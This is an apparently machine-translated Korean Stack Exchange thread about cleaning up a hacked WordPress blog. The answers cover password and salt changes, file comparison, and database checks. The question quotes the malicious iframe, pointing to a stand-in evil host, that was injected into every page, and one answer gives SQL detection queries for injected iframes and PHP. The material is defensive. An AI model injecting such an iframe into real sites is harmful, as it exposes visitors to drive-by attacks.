WordPress 핵을 완전히 제거했는지 확인합니까?


105

http://fakeplasticrock.com의 재미있는 WordPress 블로그 (WordPress 3.1.1 실행)가 해킹당했습니다 <iframe>. 모든 페이지에 다음과 같이 표시되었습니다 .

<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 

나는 다음을했다

  1. 내장 WordPress 업그레이드 시스템을 통해 3.1.3으로 업그레이드
  2. 설치된 공격 스캐너 와 (중요 이상한 파일에 대한 경고의 많은) 안티 바이러스는 (이 녹색과 깨끗하고 모든했다, 그래서 나는 제거 및 실행 후 제거)
  3. MySQL 비밀번호가 변경되었습니다.
  4. 모든 WordPress 사용자 비밀번호를 변경했습니다.
  5. FTP를 통해 연결하고 전체 파일 시스템을 다운로드했습니다 (크지 않은 경우 워드 프레스 전용 Linux 공유 호스트 임)
  6. 파일 시스템을 WordPress 3.1.3의 공식 ZIP과 비교하여 일치하지 않는 것을 제거 하거나 덮어 썼습니다 .

나는 확실히 확신한다

  • 디스크의 모든 파일은 공식 WordPress 3.1.3 파일입니다
  • 내 디스크 이외의 "추가"파일 /theme, 방금 다운로드 한 Exploit Scanner 플러그인 ( /uploads폴더 다운로드), 폴더 및 기타 예상되는 파일이 거의 없습니다. 내 다른 플러그인 인 wp-recaptcha는 현재 공식 다운로드 된 버전과 일치합니다.
  • 나는 또한 .htaccess파일 을 확인했는데 아무것도 잘못 보이지 않습니다.

너머에서 워드 프레스 3.1.3 파일 비교

나는 데이터베이스를 건드리지 않았지만 데이터베이스의 어떤 것이 특별한 PHP 코드 없이 어떻게 악의적으로 작동 할 수 있다고 생각 하고 있습니까?

내 WordPress 블로그가 정상적으로 표시되고 해킹이없는 것으로 보입니다 (하지만 생각합니다).


1
블로그를 최신 상태로 유지 해야 합니다. :)
fuxia

답변:


80

익스플로잇 벡터를 식별 했습니까? 그렇지 않은 경우 향후 악용에 노출 될 수 있습니다.

고려해야 할 다른 것들 :

  1. 워드 프레스 관리자 비밀번호 변경- 완료
  2. 호스팅 계정 사용자 비밀번호 변경
  3. FTP 비밀번호 변경
  4. MySQL DB 사용자 비밀번호 변경- 완료
  5. db 테이블 접두사 변경
  6. wp-config nonces / salt 업데이트
  7. 귀하의 확인 디렉토리 / 파일 권한을
  8. 다음을 통해 디렉토리 탐색 액세스 차단 .htaccess
  9. 강화 WordPress 코덱스 항목의 모든 내용을 살펴보십시오.
  10. FAQ My Site Was Hacked Codex 항목의 모든 내용을 살펴보십시오.

1
죄송합니다. 언급을 소홀히했습니다. 물론 워드 프레스 암호도 변경했습니다. 게시물을 업데이트하고 목록에서 확인했습니다! 나는 그들이 WordPress에 들어가서 내 호스팅 암호 또는 FTP 암호를 가질 수있는 방법을 생각할 수 없습니다. 해당 정보는 파일 시스템이나 데이터베이스에 없습니다.
Jeff Atwood

9
가능한 익스플로잇 벡터가 거꾸로 있습니다. WordPress-> 호스팅 계정이 아닌 호스팅 계정 (서버 또는 FTP를 통해)-> WordPress 일 가능성이 큽니다 .
칩 베넷

2
@Jeff 더 나은 호스트를 찾는 것 외에는 제어 할 수없는 일부 서버 수준의 익스플로잇. 하지만 그냥 있기 때문에 당신은 사람이되지 않았 음을 의미하지 않는다 호스트 / FTP 자격 증명을 사용하지 않은 그들을 도난 호스팅 계정에 대한 액세스 권한을 확보하여,.
칩 베넷

7
맬웨어가 워크 스테이션 (또는 계약 업체의 워크 스테이션)을 감염시키고 즐겨 사용하는 FTP (또는 FTP 사용) 프로그램에서 저장된 암호를 찾아 공격자에게 보낸 다음 공격자에게 전송하는 매우 일반적인 악용 사례가 있습니다. 사이트를 사용하여 동일한 멀웨어를 다른 웹 마스터에게 전파하는 데 사용합니다. 당신의 FTP 암호가 도난 당했을하는 하나의 일반적인 방법입니다. 특히 교활한 점은 조심 스러울 수있는 시끄러운 곳이 아니라 여러분과 같은 일반적인 사이트를 통해 확산된다는 것입니다.
tylerl 2016 년

3
참고로, 명령 행에 액세스 할 수있는 경우 WP-CLI 에는 wordpress.org에 대해 각 파일을 검사하는 checksums 확인 명령이 있습니다
William Turrell

26

Chrome "안전한 브라우징"메시지를 보면 최근에 많이 사용되는 것으로 보이는 ".cc iFrame 핵"이 나타납니다. 나는 3.1.3이 이것을 고칠 것이라고 생각하지만, 사이트가 모든 것이 업데이트되고 암호가 변경 될 때까지 사이트를 계속 방문하면 루트에서 index.php 파일을 확인하십시오.

사람들이 게시물 및 댓글 삽입으로 할 수있는 매우 까다로운 것들이 있습니다. 데이터베이스에 대해 다음 쿼리를 실행하여 나머지 "추적"을 블로그에 올린 일부 쿼리를 찾을 수 있습니다 .

SELECT * FROM wp_posts WHERE post_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%display:%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?%'
UNION
SELECT * FROM wp_posts WHERE post_content LIKE '%<?php%'
SELECT * FROM wp_comments WHERE comment_content LIKE '%<iframe%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<noscript%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%display:%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?%'
UNION
SELECT * FROM wp_comments WHERE comment_content LIKE '%<?php%'

도움이 되었기를 바랍니다!


4
추가 SELECT * FROM wp_* WHERE comment_content LIKE '%<?%'하고 SELECT * FROM wp_* WHERE comment_content LIKE '%<?php%'확실하게 ...
SeanJA

4
마지막으로 한마디 이 도메인에 Google 웹 마스터 도구가 연결되어 있다고 가정합니다. 정리가 완료되면 웹 마스터 도구 계정에서 Google에 사이트를 다시 검색하고 경고 메시지를 삭제하도록 요청을 제출할 수 있습니다. 일반적으로 하루 안에 웹 마스터 도구의 요청을 처리합니다. 그렇지 않으면, 당신은 좋은 90 일 동안 "naughty list"를 얻는다.
Dillie-O

많은 결과를 찾았지만 Vimeo에 대한 iframe이 내장되어 있기 때문입니다.
tooshel

20

데이터베이스에는 악성 코드도 포함될 수 있습니다. 숨겨진 사용자 계정 또는 이스케이프 처리되지 않은 값. 또한 업로드 디렉토리에 해당 파일이 아닌 파일이 있는지 확인하십시오.

아, 그리고 침입자가 자신의 사이트를 어떻게 찾았는지 이해하려고 노력하십시오. 공유 계정에서는 종종 전체 서버입니다. 서버 의 다른 사이트 에서 해킹 된 블로그 나 다른 페이지를 확인하십시오 . FTP 로그를 읽으십시오. 어떻게되는지 모른다면 다음 번 휴식을 막을 수 없습니다.


익스플로잇 스캐너가 숨겨진 사용자 계정을 찾지 못합니까?
Jeff Atwood

@ Jeff Atwood 나는 그것에 의존하지 않을 것입니다. 귀하의 사용자 테이블은 그렇게 크지 않습니다. 플러그인없이 쉽게 읽을 수 있습니다.
fuxia

나는 wp_users예상대로 테이블과 단 2 행을 확인 했습니다. /upload폴더에 아무것도 이상한 (gif 및 png 및 jpegs)
Jeff Atwood

@Jeff Atwood 파일이나 확장자를 보았습니까? 모든 파일이 미디어 라이브러리에 나열되어 있습니까?
fuxia

4
이미지 파일은 상당히 일반적인 페이로드 전달 방법입니다. 여기를 참조 하면 테마 검토 팀도 비슷한 TIFF 익스플로잇을 사용하여 테마를 실행합니다.) 예 : 미디어 라이브러리의 일부인지 확인하기 위해 각각 확인합니다. (간단한 고급 스캔 : 썸네일 크기가 정의되지 않은 이미지를 확인하십시오.)
Chip Bennett

13

해킹 당했다 니 유감입니다. 그래도 훌륭한 복구 작업을 수행 한 것 같습니다.

파일 시스템이 황금처럼 들리므로 여기서 할 수있는 일은 더 이상 없습니다.

데이터베이스에서 스크립트, iframe, PHP (평가 된 경우에만 위험) 또는 기타 비정상적인 코드가 발견되면 익스플로잇 스캐너가 경고를 표시한다고 생각합니다.

게시물 및 주석 이외의 테이블을 확인하는지 확실하지 않으며, /wp-admin/options.php한 눈에 확인하고 이상한 점이 있는지 확인할 가치가 있습니다 .

또한 MySQL 클라이언트에서 users 테이블을 확인합니다 (사용자는 데이터베이스에 있지만 관리자에게는 보이지 않습니다).


users 테이블에서 MySQL 쿼리를 실행하여 예기치 않은 결과가 없는지 확인하는 것이 좋습니다. 좋은 팁!
Jeff Atwood

8

Google 웹 마스터 도구에서 다음 두 가지를 확인하십시오.

  • 귀하의 사이트가 손상된 것으로 표시되지 않았는지 확인하고 사이트가 재검토되도록 요청하십시오.
  • 사이트를 Googlebot으로 확인하고 Googlebot에게만 보이는 스팸이 삽입되어 있지 않은지 확인합니다. 예를 들어 WP Pharma hack

또한 테마를 다시 구현하거나 매우 신중하게 확인하고 싶습니다. PHP의 몇 줄은 핵심 PHP 함수를 재정 의하여 데이터베이스에서 악성 코드, 특히 wp_options 키 / 값 저장소 테이블을 추출 할 수 있습니다.


예, Google 웹 마스터 도구를 통해 사이트를 다시 제출했으며 이제 '삭제'된 것으로 보입니다.
Jeff Atwood

6

phpmyadmin을 통해 데이터베이스에서 "iframe"을 검색하거나 데이터베이스를 덤프하고 텍스트를 검색하십시오.

users 테이블에서 보이지 않는 사용자를 확인하십시오. WP 관리자 >> 사용자에 표시되지 않은 테이블의 사용자를 보았습니다.

Clean Options«WordPress Plugins 는 데이터베이스에 오래되고 취약한 플러그인의 정크가 남아 있음을 보여줍니다.

귀하의 테마에 <head>태그 가 누락되어 있으므로 잘못된 링크를 제거하기 위해 테마를 편집 한 경우를 확인하겠습니다.

그리고 평소 : 그리고 해킹 된 WordPress강화 WordPress 에서 백도어를 찾는 방법 «WordPress Codex


5

"확인해야 할 것이 있습니까?" 프로세스를 조사하고 해킹당한 방법을 찾아 내야합니다 (거의 확실하게 패치를하지 않았거나 정확하게 패치하지 않았기 때문에). 증상뿐만 아니라 문제도 해결해야합니다.


5
내가 워드 프레스를 업데이트하지으로해야 할 일을했을 의심 (그것이 비록 , 그냥 아니다 가능성 ). 워드 프레스 자체는 익스플로잇 벡터가 아닙니다 . 일반적인 벡터는 안전하지 않은 호스트 구성이며 도난당한 FTP 자격 증명입니다.
칩 베넷

4

그것은 미디어 템플의 누출을 통해 한 번 나에게 일어났다. 삽입 된 링크가 있는지 데이터베이스를 확인하기 위해 플러그인을 작성해야했습니다. 여기에서 github gist로 가져올 수 있습니다 .

사용자 친화적이며 피드백을 제공하고 완료 후 데이터베이스를 다시 확인하는 몇 가지 단계가 있습니다.

행운을 빕니다!


4

클라이언트 사이트 중 하나에서 수정해야 할 매우 유사한 핵이있었습니다.

파일 시스템에 악성 스크립트가있었습니다 (php base64_decode 일). 그러나 데이터베이스 'posts'및 'comments'테이블이 손상되어 iframe 코드가 해당 데이터를 통해 분산되었습니다.

나는 안전을 위해 적어도 DB에서 몇 가지 검색을 실행했습니다. :)


3

귀하의 플러그인을 확인하십시오!, 올해까지 .org 플러그인에서 60 건의 익스플로잇이 릴리스되었으므로 아무도이 풀 타임으로 활동하지 않기 때문에 실제 숫자가 훨씬 더 높을 것으로 생각됩니다.

플러그인이 하나만 있다고 보안 목록이 있습니다 (얼마나 오래 있었는지 확실하지 않으며 벡터가 아닐 수도 있음).

wp-recaptcha-plugin
이 취약점은 다음과 같이 출시되었습니다 : 2011-03-18
익스플로잇 버전 : 2.9.8

필자는 자신이 3.0 버전으로 다시 작성했다고 말했지만 보안 패치에 대해서는 언급하지 않았습니다.

http://www.wpsecure.net/2011/03/wp-recaptcha-plugin/

변경 로그 : http://wordpress.org/extend/plugins/wp-recaptcha/changelog/


2

클라우드 서버를 사용하고 임의의 엉뚱한 ssh 포트 번호가 전혀 ftp가 없습니다. 암호는 해킹하기가 매우 어렵습니다. 모든 루트 액세스가 완전히 거부되었습니다. 워드 프레스가 당신의 범인이되지 않을 것에 동의합니다. 확인해야 할 또 다른 사항은 ftp 세션이 닫히지 않는 것입니다. 개인용 컴퓨터의 바이러스 (파일을 사이트에 업로드 할 수 있고 해당 파일을로드 한 사람이 같은 바이러스를 얻을 수 있음을 기억하십시오), 공개 사이트 또는 개인 암호를 유지하지 마십시오 사이트는 항상 단어 문서 나 메모장에 절대로 종이 위에 내려 놓지 않습니다.

마지막으로 호스트에 방화벽 설정이 있어야하므로 최근에 위반이 있었는지 물어보십시오.


2

파일 날짜를 확인하십시오. 마지막 편집 / 설치보다 새로운 변경 데이터가있는 파일은 없습니다!

그러나 이것은 가짜 일 수도 있습니다. 가장 확실한 방법은 모든 파일을 원본 설치 파일과 비교 (예 : 해시 비교)하는 것입니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.